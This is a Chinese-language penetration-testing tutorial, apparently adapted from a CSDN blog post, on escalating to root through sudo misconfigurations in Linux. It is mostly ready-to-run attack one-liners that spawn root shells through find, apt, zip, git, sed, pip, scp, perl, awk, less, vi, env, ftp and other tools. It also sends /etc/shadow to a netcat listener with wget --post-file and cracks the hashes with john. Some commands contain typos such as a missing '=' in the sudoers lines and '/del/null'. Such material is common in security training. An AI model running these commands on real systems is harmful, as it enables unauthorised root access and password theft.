文章主要内容来自于:Linux提权——SUDO_sudo提权-CSDN博客
这里对部分内容进行了扩充,后续可能会再进一步完善
使用Sudo权限提升Linux账户权限
在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图
Sudoer文件语法
假如我们(root用户)要给普通用户test分配sudo权限,请输出vim /etc/sudoers打开文件进行编辑,找到root权限root ALL=(ALL:ALL) ALL,在下一行输入
test ALL(ALL:ALL) ALL,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。
给普通用户设置 sudo权限
打开 /etc/sudoers 文件
vim /etc/sudoers
给普通用户test 的wget命令添加sudo权限供下面进行提权测试
test ALL(ALL:ALL) /usr/bin/wget
或者直接给于用户root权限,下面测试时不必来回修改
test ALL(ALL:ALL) ALL
提权命令总览
可以利用sudo提权的命令如下
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
sudo wget提权
Wget 命令是一个命令行实用程序,它使用户能够借助许多协议(如 HTTP、HTTPS 和 FTP)从 Internet 或服务器同时下载单个或多个文件。
wget 提权的原理是:
使用–post-file参数将/etc/shadow的内容发送到监听IP并保存未hash.txt(kali)
##kali上监听
nc -lvp 4444 > hash.txt
##靶机上
/usr/bin/wget --post-file=/etc/shadow 192.168.0.114:4444
使用john字典模式对其进行破解
/usr/share/john$ john --wordlist=password.lst /home/light/hash.txt
sudo find提权
SUID提权的思路就是运行root用户所拥有的SUID的文件,当其他用户运行该文件的时候就得获得root用户的身份。
使用find命令查看拥有suid权限的文件
-
find / -user root -perm -4000-exec ls -ldb {} \;
-
find / -perm -u=s -type f 2>/dev/null
-
find / -user root -perm -4000-print2>/del/null
find 命令用来在指定目录下查
找文件,这里使用“exec”来执行/bin/bash,以访问root shell
sudo find /home -exec /bin/bash \;
sudo cat 提权
cat 命令用户连接文件并打印到标准输出设备上
在分配了sudo权限后,我们可以查看 /etc/shadow 文件中的账号密码,并使用john破解
sudo cat /etc/shadow
sudo apt 提权
apt(Advanced Packaging Tool)是一个在 Debian 和 Ubuntu 中的 Shell 前端软件包管理器。apt 命令提供了查找、安装、升级、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。apt 命令执行需要超级管理员权限(root)。普通用户可调用sudo执行apt。
使用方法是,创建一个临时的文件,并在其中构建一个包来调用/bin/bash,然后通过apt-get安装该包
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
sudo zip提权
zip 命令用于压缩文件,是个 使用广泛的压缩程序,压缩后的文件后缀名为 .zip。
通过压缩一个存在的文件,并调用-T参数输出shell
sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
sudo xxd提权
xxd命令是 二进制显示和处理文件工具,其可以将给定的文件内容生成为十六进制文件,反过来也行
提权原理是使用xxd读取十六进制的/etc/shadow文件,并通过管道符连接另一个xdd命令以将十六进制恢复为原文件
sudo xxd "/etc/shadow" | xxd -r
同样是保存后,使用jhon破解哈希密码。
sudo time 提权
time命令用于量测特定指令执行时所需消耗的时间及系统资源等资讯。
https://www.hackingarticles.in/linux-for-pentester-time-privilege-escalation/
sudo taskset提权
taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。
执行以下命令获取shell
sudo taskset 1 /bin/sh -p
sudo git提权
##第一种方法
sudo git help config
##输入!/bin/sh 并回车执行shell
##第二种方法
sudo git -p help
!/bin/bash
sudo sed提权
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
sudo ed提权
sudo ed
!/bin/sh
sudo tmux提权
sudo tmux
sudo scp提权
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
sudo perl提权
sudo perl -e 'exec "/bin/bash";'
sudo bash提权
bash -p
sudo less提权
sudo less /etc/hosts
!bash
sudo awk提权
sudo awk 'BEGIN {system("/bin/bash")}'
sudo man提权
sudo man man
!bash
sudo vi/vim提权
sudo vi
:!bash
sudo env 提权
sudo env /bin/bash
sudo ftp提权
sudo ftp
! /bin/bash